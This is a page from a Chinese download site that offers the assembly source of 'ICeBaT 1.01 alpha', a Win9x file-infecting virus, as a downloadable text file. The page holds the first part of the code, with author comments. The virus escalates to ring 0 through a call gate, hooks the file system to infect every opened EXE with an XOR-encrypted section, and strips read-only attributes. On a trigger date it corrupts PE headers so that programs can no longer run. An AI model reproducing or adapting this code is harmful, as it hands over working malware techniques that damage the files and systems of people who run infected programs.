⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 codes的icebat(1.01 alpha)原代码 ——win9x virus.txt

📁 病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码
💻 TXT
📖 第 1 页 / 共 2 页
字号:
; 注意:本病毒是在 icebat 1.00的基础上修改的,没有大的变动 
;另外,本代码中的 rnd 部分暂时空缺,没有好的算法,自己加把, 
; 之可以改变 eax-随机码 
;**************************************** 
;* VIRUS : ICeBaT ' \/^v^\/ ' * 
;* Version   1.01 Alpha  * 
;**************************************** 
;* Author:                              * 
;* Jay.Zephyr ( Data: 2000-2-7 )        * 
;**************************************** 
;* Instruction:                         * 
;*                                      * 
;* 1. Infect PE_Format program          * 
;* Not Over Infect!                     * 
;* 2. Hook FileSystemApiHook            * 
;* To install in Memory! Not over hook  * 
;* 3. Broke the ReadOnly File           * 
;* 4. When my cute virus triggered      * 
;* It will REPLACE 'PE' SIGN and Set    * 
;* CPUTYPE=014Dh,Change Dos Sub Header  * 
;* Message To 'ICeBaT$' !!!             * 
;* 5. Encryation virus! My cute         * 
;* virus can make Discryation by myself.* 
;* Encryation way: XOR !                * 
;*                                      * 
;**************************************** 
;                     - 
.586p   ; Use 586 Protect Mode 
.model flat,stdcall ; flat and stdcall model 
;=========================================== 
; Defined Some Useful Marcos 
;=========================================== 
TRUE = 1  
FALSE = 0 


DEBUG = FALSE  ; USE DEBUG MODE 


IF DEBUG 
; USE DEBUG MODE 
ELSE 
; USE RELEASE MODE 
ENDIF 
;================================ 
; 发作日期 
TRIGGERMON = 12H 
TRIGGERDAY = 13H 
;================================ 

; SOME DATAS IN [ IFS.INC ] 
IFSFN_READ = 0 
IFSFN_WRITE = 1 
IFSFN_CLOSE = 11 
IFSFN_OPEN = 36 

R0_OPENCREATFILE = 0D500H 
R0_READFILE  = 0D600H 
R0_WRITEFILE  = 0D601H 
R0_CLOSEFILE  = 0D700H 
R0_FILEATTRIBUTES = 04300H 
R0_DELETEFILE  = 04100H 

;=========================================== 
; defined some extrn functions API 
extrn MessageBoxA : proc 
extrn ExitProcess : proc 
; data segment for mum proc 
.data 
szCaption db 'Message',0 
szMsg  db 'Mum: Baby has gone!',0 
.code 
MumStart: 
; MessageBox(NULL,szMsg,szCaption,MB_SYSTEM); 
xor ebx,ebx 
push 1000h 
lea eax,szCaption 
push eax 
lea eax,szMsg 
push eax 
push ebx 
call MessageBoxA 
; ExitProcess(0); 
push ebx 
call ExitProcess 
ends 
;========================================== 
; Mum Proc End here 
;                      
; My Cute Virus Will Start from here ^_^ 
;========================================== 
VIRSEG SEGMENT PARA USE32 '.ICeBaT$'  ; Virus Segment Use 32 bits 
ASSUME CS:VIRSEG,DS:VIRSEG,ES:VIRSEG 
ASSUME SS:VIRSEG,GS:VIRSEG,FS:VIRSEG 
VIRSTART:     ; 病毒入口点 
;************************ 
;* GET GDT BASE * 
;* ADDRESS  * 
;************************ 
PUSH EBP  ; 保存 ebp 寄存器 
PUSH EAX  ; 压栈 
SGDT [ESP-02H]  ; 获得 gdt 基址 
POP EAX   ; 得到 gdt 基址,存入 eax 寄存器 
;************************ 
;* GET LDT INDEX * 
;************************ 
XOR EBX,EBX  ; 清 ebx 寄存器 
SLDT BX   ; 取得 ldt 在 gdt 中的索引值 
;************************ 
;* CALCULATE THE LDT * 
;* BASE ADDRESS [EAX] * 
;************************ 
ADD EBX,EAX  ; 取得 ldt 基址的偏移 
MOV AH,[EBX+07H] ; ldt 基址的高字节 
MOV AL,[EBX+04H] ; ldt 基址的中字节 
SHL EAX,10H  ; ldt 基址的高字放入 eax 的高位 
MOV AX,[EBX+02H] ; ldt 基址的低字 
ADD EAX,08H  ; 跳过空的选择子 
;************************ 
;* GET THE OFFSET OF * 
;* VIRUS RELOC  * 
;************************ 
CALL RELOC  ; 取得偏移 
RELOC: 
POP EBP   ; 获取偏移 
SUB EBP,OFFSET RELOC ; 计算偏移量 
; SUB ECX,OLDENTRYPOINT[EBP] ; 计算主程序返回地址 
; MOV OLDENTRYPOINT[EBP],ECX ; 存回主程序返回地址 
;************************ 
;* MODIFY THE LDT * 
;************************ 
MOV ESI,OFFSET RING0GAME ; 取得 ring0 proc 的程序段地址 
ADD ESI,EBP   ; 加上偏移 
XCHG EAX,EBX ; NOW, THE [EBX] SAVE THE BASE ADDRESS OF FIRST DESCRIPTOR ADDRESS 
MOV [EBX],SI ; 修改 ldt 的第 0 号门入口的低字 
MOV WORD PTR [EBX+02H],0028H ; 修改段选择子 
MOV WORD PTR [EBX+04H],0EC00H ; 修改调用门的属性 
SHR ESI,10H   ; 将 ring0 proc 的地址高字放入 si 
MOV [EBX+06H],SI  ; 修改调用门的地址高字 
;************************ 
;* ENTRY RING0 GAME * 
;************************ 
LEA EAX,RING0GATE[EBP]  ; 获取中断门的选择子 
     ; 加上偏移量 
PUSH EBX   ; 保存 ebx (用来改回修改的调用门) 
CALL FWORD PTR [EAX]  ; 通过调用门进入 ring0 proc 
POP EDI    ; 取回调用门的描述符地址 
XOR EAX,EAX 
STOSD    ; 清零 
STOSD    ; 清零 
;************************ 
;* GO TO RUN HOST * 
;************************ 
MOV EAX,00401000H   ; 取得主程序的返回地址 
OLDENTRYPOINT = $ - 04H 
     ; 加上偏移 
     ; 得到返回地址 
POP EBP    ; 恢复 ebp 
PUSH EAX   ; 返回地址压栈 
RET    ; 返回主程序 
;************************ 
;* MY RING0 GATE ENTRY * 
;************************ 
RING0GATE DD 00H  ; 调用门的选择子 
  DW 0FH   
;************************ 
;* MY RING0 GAME HERE * 
;************************ 
RING0GAME: 
MOV ECX,DR2   ; 取得 dr2 的值 (驻留掩码) 
MOV EAX,NOT(92350209H)  ; eax 我的驻留掩码 
CMP EAX,ECX   ; 判断是否已经驻留? 
JZ QUITRING0GAME  ; 是,则退出 ring0 proc 
; MY CUTE VIRUS WILL KEEP IN MEMORY 
MOV DR2,EAX   ; 否,准备驻留,设驻留掩码 
XOR EAX,EAX   ; 清 eax 
; VXD 调用 
; VMMCall _PageAllocate, <nPages, pType, VM, AlignMask, minPhys, maxPhys, <OFFSET32 PhysAddr>, flags> 

PUSH 00000000FH   ; flags  = 0fh 
PUSH EAX   ; PhysAddr = 0 
PUSH 0FFFFFFFFH   ; maxPhys = 0ffffffffh 
PUSH EAX   ; minPhys = 0 
PUSH EAX   ; AlignMask = 0 
PUSH EAX   ; VM  = 0 
PUSH 000000001H   ; pType  = 01h 
PUSH 000000002H   ; nPages = 02h 
INT 20H ; Use EAX, ECX, EDX, and flags 
_PageAllocate = $ 
DD 00010053H 
ADD ESP,08*04H   ; 恢复栈堆 
; MOVE MY CUTE VIRUS TO NEW ADDRESS IN MEMORY 
LEA ESI,RELOC[EBP]  ; 取偏移 
     ; 加上偏移 
SUB ESI,OFFSET RELOC-VIRSTART ; 减去差, esi - 当前病毒的首地址 
MOV EDI,EAX   ; eax=edi - 分配的内存首地址 
MOV ECX,OFFSET VIRMEMORYSIZE-VIRSTART ; 内存中的病毒长度 
CLD     ; 设搬移方向标志 
REP MOVSB    ; 搬家喽 
XCHG EAX,EBX ; SAVE NEW ADDRESS IN EBX 
MOV EAX,OFFSET MYHOOKAPI-VIRSTART ; 得到内存中的病毒的 hook 段的地址 
ADD EAX,EBX    ; 加偏移 
PUSH EAX    ; pIFSFileHookFunc 地址 
INT 20H ; Use EAX, ECX, EDX, and flags ; VXD 调用 
IFSMgr_InstallFileSystemApiHook = $ 
DD 00400067H 
POP ECX     ; 恢复栈堆 
MOV EBX[OLDHOOKAPI-VIRSTART],EAX ; SAVE OLD HOOK API 
  
MOV EBX[MYHOOKRELOC-VIRSTART],ECX ; RELOC MY HOOK 
  
MOV BYTE PTR EBX[MYFLAG-VIRSTART],0  ; CLEAR MY BUSY FLAG 
  
QUITRING0GAME: 
RETF     ; 退出 ring0 proc 
;******************************** 
;* END OF MY RING0 GAME * 
;******************************** 
;* START MY HOOK API FUNCTIONS * 
;******************************** 
MYHOOKAPI: 
PUSHAD     ; 保存全局变量 (所有寄存器压栈) 
MOV EBP,00000000H   ; 驻留时,这里会被改成 mov ebp,offset myhookapi+2 
MYHOOKRELOC = $ - 04H 
MOV DR1,EBP    ; 保存偏移到 dr1 (方便调试) 
MOV EBX,ESP    ; 存 esp 到 ebx 
CMP BYTE PTR EBP[MYFLAG-MYHOOKAPI],0 ; 是否有空? 
JZ NOBUSY    ; 是的,有空,跳去感染!!! 
PUSH DWORD PTR [EBX+20H+04H+14H] ; 我很忙! 
CALL [EBX+20H+04H]   ; Call pIFSFunc ( pir ) 
POP ECX     ; 还原栈堆 
MOV [EBX+1CH],EAX   ; 修改栈中的 eax 值 
QUITMYHOOK: 
POPAD     ; 寄存器出栈 
RET     ; 返回调用者 
NOBUSY:   ; 我不忙 
; ============================================================================================= 
; int _cdecl callback(pIFSFunc pfn, int fn, int Drive, int ResType, int CodePage, pioreq pir) 
; ============================================================================================= 
MOV BYTE PTR EBP[MYFLAG-MYHOOKAPI],1 ; 置忙位! 
CMP DWORD PTR [EBX+20H+04H+04H],24H ; 是否是打开? 
JNZ CANCELACTION   ; 不是,不感染! 
LEA ESI,EBP[BUF-MYHOOKAPI]  ; 是打开操作,文件名及其路径区 
MOV EAX,[EBX+20H+04H+04H+04H] ; INT DRIVE 整型驱动器号 
CMP AL,-1   ; unc ??? 
JZ UNC1    ; 是的,跳到 unc1 处理 
ADD AL,40H   ; 换成 [X:] 的形式 
MOV BYTE PTR [ESI],AL  ; 存驱动器到缓冲区 
INC ESI    ; 指针加一 
MOV BYTE PTR [ESI],':'  ; 存入 ':' 
INC ESI    ; 指针加一 
UNC1: 
XOR EAX,EAX   ; 取得文件的路径及文件名(不包括驱动器),所以前面要自己转换驱动器成 X: 形式,这样加上路径就成立绝对路径 
PUSH EAX   ; CharSet 
PUSH 0FFH   ; maxLength 
MOV EBX,[EBX+20H+04H+14H] ; mov ebx,pir 
MOV EAX,[EBX+0CH]  ; pUniPath-4 
ADD EAX,04H   ; eax = pUniPath 
PUSH EAX   ; push pUniPath 
PUSH ESI   ; pBCSPath 
INT 20H    ; VXDCall UniToBCSPath 
UniToBCSPath = $ 
DD 00400041H 
ADD ESP,04*04H   ; 恢复栈堆 
CMP [ESI+EAX-04H],'EXE.' ; 是否是 exe 文件? 
JNZ CANCELACTION  ; 不是,不感染 
DEC ESI    ; esi = esi-2 
DEC ESI    ; esi - FilePathName 
;=========================================== 
IF DEBUG 
CMP [ESI+EAX-06H],'MIAV' ; IF DEBUG = TRUE THEN ONLY INFECT : VAIM.EXE 
JNZ CANCELACTION 
ENDIF 
;============================================ 
; BEFORE INFECT EXE 
; I WILL ENCRYATION MY VIRUS 
;============================================ 
PUSHAD 
XOR ECX,ECX 
CALL ENCRYATION_VIR 
POPAD 
;============================================ 
; BEGIN TO INFECT FILE 
; FIRST, WE MUST CHECK 
; WETHER THE FILE IS 
; << PE_FORMAT >> 
;          - 
; NOW, THE BUF CONTENT 
; IS FILE PATH AND NAME 
;============================================= 
INFECT_PE_FILE: 
; ADD INFECT PE FILE CODES HERE!!!!!!! 
XOR EAX,EAX   ; 清 eax 
; 清 MY SECTION 内容  
LEA EDI,EBP[NEWOBJ-MYHOOKAPI] 
MOV ECX,0AH 
CLD 
REP STOSD 
; 设置 MY SECTION 属性 
MOV DWORD PTR [EDI-4],0C0000040H 

LEA EDI,EBP[FILEOP-MYHOOKAPI] ; 得到 IFSMgr_Ring0_FileIO 的地址 
MOV AX,R0_FILEATTRIBUTES ; 功能号: 取文件属性 
CALL EDI   ; GET OLD FILE ATTRIB 
JC EXIT_INFECT   ; 出错,放弃感染 

MOV DR3,ECX   ; SAVE THE FILE ATTRIB TO => DR1 
XOR ECX,ECX   ; 功能号: 置文件属性 
MOV AX,R0_FILEATTRIBUTES+01H 
CALL EDI   ; SET COMMON FILE ATTRIB 
JC EXIT_INFECT 

XOR EAX,EAX   ; 清 eax 
MOV EAX,R0_OPENCREATFILE ; 打开文件 
XOR ECX,ECX 
MOV EDX,01H 
MOV EBX,02H   ; 同 int 21h (function 6ch) 
LEA ESI,EBP[BUF-MYHOOKAPI] ; 文件名 
CALL EDI 
JC RETURN_ATTRIB 

XCHG EAX,EBX ; SAVE FILE HANDLE TO EBX 
MOV EAX,R0_READFILE ; FILE OPERATION READ 
LEA ESI,EBP[PESTART-MYHOOKAPI] ; READ BUFFER 
XOR ECX,ECX 
MOV CL,04H   ; READ 4 BYTES TO BUF 
XOR EDX,EDX 
MOV DL,3CH   ; READ FROM OFFSET: 3CH 

CALL EDI 
JC CLOSEFILE 

MOV EDX,EBP[PESTART-MYHOOKAPI] ; READ FROM OFFSET 
MOV EAX,R0_READFILE  ; READ FILE 
LEA ESI,EBP[PEHEADER-MYHOOKAPI] ; READ BUFFER 
MOV ECX,500H   ; READ LENGTH 
CALL EDI   ; READ PE_HEADER 
JC CLOSEFILE 

CMP DWORD PTR EBP[PESIGN-MYHOOKAPI],4550H ; PE 文件格式? 
JNZ CLOSEFILE     ; 不是,放弃感染 

CMP WORD PTR EBP[PESIGN-MYHOOKAPI+1AH],0FFFFH ; 感染了吗? 
JZ CLOSEFILE     ; 是的,放弃感染 

MOV WORD PTR EBP[PESIGN-MYHOOKAPI+1AH],0FFFFH ; SET INFECTED MASK 

PUSHAD     ; 保存全部寄存器 
;========================================= 
; USEFUL DATA: 
; EBX  -OPEN FILE HANDLE 
; EDI  -FILEOP FUNCTION 
; EBP  -OFFSET 
;========================================= 
; LOCAL THE OBJECT TABLE 
XOR EAX,EAX    ; 清 eax 
MOV AX,EBP[NTHEADERSIZE-MYHOOKAPI] ; 得到 Optional Header 的大小 
ADD EAX,18H    ; 加上 18h, EAX - PE 文件头大小 
MOV EBP[OBJTABOFFSET-MYHOOKAPI],EAX ; CALCULATE THE OBJECT TABLE OFFSET 
LEA EAX,EBP[PEHEADER-MYHOOKAPI]  ; 取得 peheader 在内存中的偏移 
ADD EBP[OBJTABOFFSET-MYHOOKAPI],EAX ; 计算并定位 object table 的偏移 
; END OF LOCAL 
XOR EAX,EAX    ; 清 eax 
XOR EDX,EDX    ; 清 edx 
MOV AX,EBP[NUMOBJ-MYHOOKAPI]  ; GET THE NUMBER OF OBJECT 
MOV ECX,40   ; 取得我的 section 在 peheader 中的开始地址 
MUL ECX    ; NOW THE [EDX:EAX] SAVE THE MY OBJECT ENTRY 
MOV ESI,EBP[OBJTABOFFSET-MYHOOKAPI] ; OBJECT TABLE ENTRY POINT 
ADD ESI,EAX   ; CALCULATE MY OBJECT IN PEHEADER 
INC WORD PTR EBP[NUMOBJ-MYHOOKAPI] ; object number + 1 
;============================================= 
; ESI: MY OBJ IN PEHEADER 
; EDI: MY OBJ 
;============================================= 
MOV EAX,[ESI-40+8] ; 得到原最后一个 section 的 virtualsize 
ADD EAX,[ESI-40+12] ; 得到原最后一个 section 的 virtualoffset 
; CALCULATE MY SECTION IN MEMORY 计算我的段的 virtualsize & virtualoffset 
MOV ECX,EBP[OBJALIGN-MYHOOKAPI] ; ecx - 内存中的段对齐方式 
XOR EDX,EDX   ; 清 edx 
DIV ECX    ; 计算我的段的 RVA 
OR EDX,EDX 
JZ VCON1 
INC EAX 
VCON1: 
MUL ECX 
MOV EBP[RVA-MYHOOKAPI],EAX ; 保存我的段的 RVA 

XOR EDX,EDX   ; 清 EDX 
MOV EAX,OFFSET VIRMEMORYSIZE-VIRSTART ; 计算我的段的 VIRTUALSIZE 
DIV ECX 
OR EDX,EDX 
JZ VCON2 
INC EAX 
VCON2: 
MUL ECX 
MOV EBP[VIRTUALSIZE-MYHOOKAPI],EAX 
; CALCULATE MY SECTION IN PHYSICAL FILE 
MOV ECX,EBP[FILEALIGN-MYHOOKAPI] ; 计算我的段的 PHYSICALSIZE 
XOR EDX,EDX 
MOV EAX,EBP[VIR_ENCRY_LENGTH-MYHOOKAPI] 
DIV ECX 
OR EDX,EDX 
JZ VCON3 
INC EAX 
VCON3: 
MUL ECX 
MOV EBP[PHYSICALSIZE-MYHOOKAPI],EAX 
  
MOV EAX,[ESI-40+16] 
ADD EAX,[ESI-40+20] 

XOR EDX,EDX  ; 计算我的段的 PHYSICALOFFSET 
DIV ECX 
OR EDX,EDX 
JZ VCON4 
INC EAX 
VCON4: 
MUL ECX 
MOV EBP[PHYSICALOFFSET-MYHOOKAPI],EAX 
; CALCULATE THE IMAGESIZE AND ENTRYPOINT 
MOV ECX,EBP[OBJALIGN-MYHOOKAPI]  ; 计算新的 IMAGESIZE 
MOV EAX,EBP[IMAGESIZE-MYHOOKAPI] 
ADD EAX,OFFSET VIRMEMORYSIZE-VIRSTART 
DIV ECX 
OR EDX,EDX 
JZ VCON5 
INC EAX 
VCON5: 
MUL ECX 
MOV EBP[IMAGESIZE-MYHOOKAPI],EAX 
; SAVE MY OLD SECTION TO IMAGE 
LEA EDI,EBP[NEWOBJ-MYHOOKAPI] ; EDI - 我的段的地址 
XCHG EDI,ESI   ; ESI - 我的段的地址,EDI - PEHEADER 中我的段的入口地址 
MOV ECX,10   ; 搬移字节数 10*4 
CLD 
REP MOVSD   ; 搬过去 
; CALCULATE RVA, MAKE SURE MY CUTE VIRUS RUN FIRST! ^O^ 
MOV EAX,EBP[RVA-MYHOOKAPI] ; 计算新的 ENTRYPOINTRVA 
MOV EBX,EBP[ENTRYPOINTRVA-MYHOOKAPI] ; 保存原来的偏移到 OLDENTRYPOINT 
MOV EBP[ENTRYPOINTRVA-MYHOOKAPI],EAX 
MOV ECX,EBP[IMAGEBASE-MYHOOKAPI] 
ADD EBX,ECX 
MOV EBP[OLDENTRYPOINT-MYHOOKAPI],EBX 
PUSHAD 
CALL ENCRYATION_MYSELF 
ADD EAX,ECX ; VIR START IN MEMORY 
MOV EDI,EBP[USED_OFFSET-MYHOOKAPI] 
ADD [EDI],EAX 
POPAD 

CALL CHECKTRIGGER 
OR EAX,EAX 
JZ VCON6 
; Make 'PE' File To 'MZ' File, and Show My Cute Virus Name ! 
MOV DWORD PTR EBP[PESIGN-MYHOOKAPI],NOT(92350209H) ; Replace 'PE' Sign 
; Change CPU Type ( 014C h => 014D h ), Stop Win App Run! 
MOV WORD PTR EBP[CPUTYPE-MYHOOKAPI],014DH  
VCON6: 
POPAD    ; 全局出栈 

MOV EAX,R0_WRITEFILE  ; 写 PE HEADER 
MOV ECX,500H 
MOV EDX,EBP[PESTART-MYHOOKAPI] 
LEA ESI,EBP[PEHEADER-MYHOOKAPI] 
CALL EDI  ; WRITE NEW PE HEADER TO FILE 
JC CLOSEFILE 

MOV EAX,R0_WRITEFILE  ; 写 VIRUS BODY 
MOV ECX,EBP[VIR_ENCRY_LENGTH-MYHOOKAPI] 
MOV EDX,EBP[PHYSICALOFFSET-MYHOOKAPI] 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -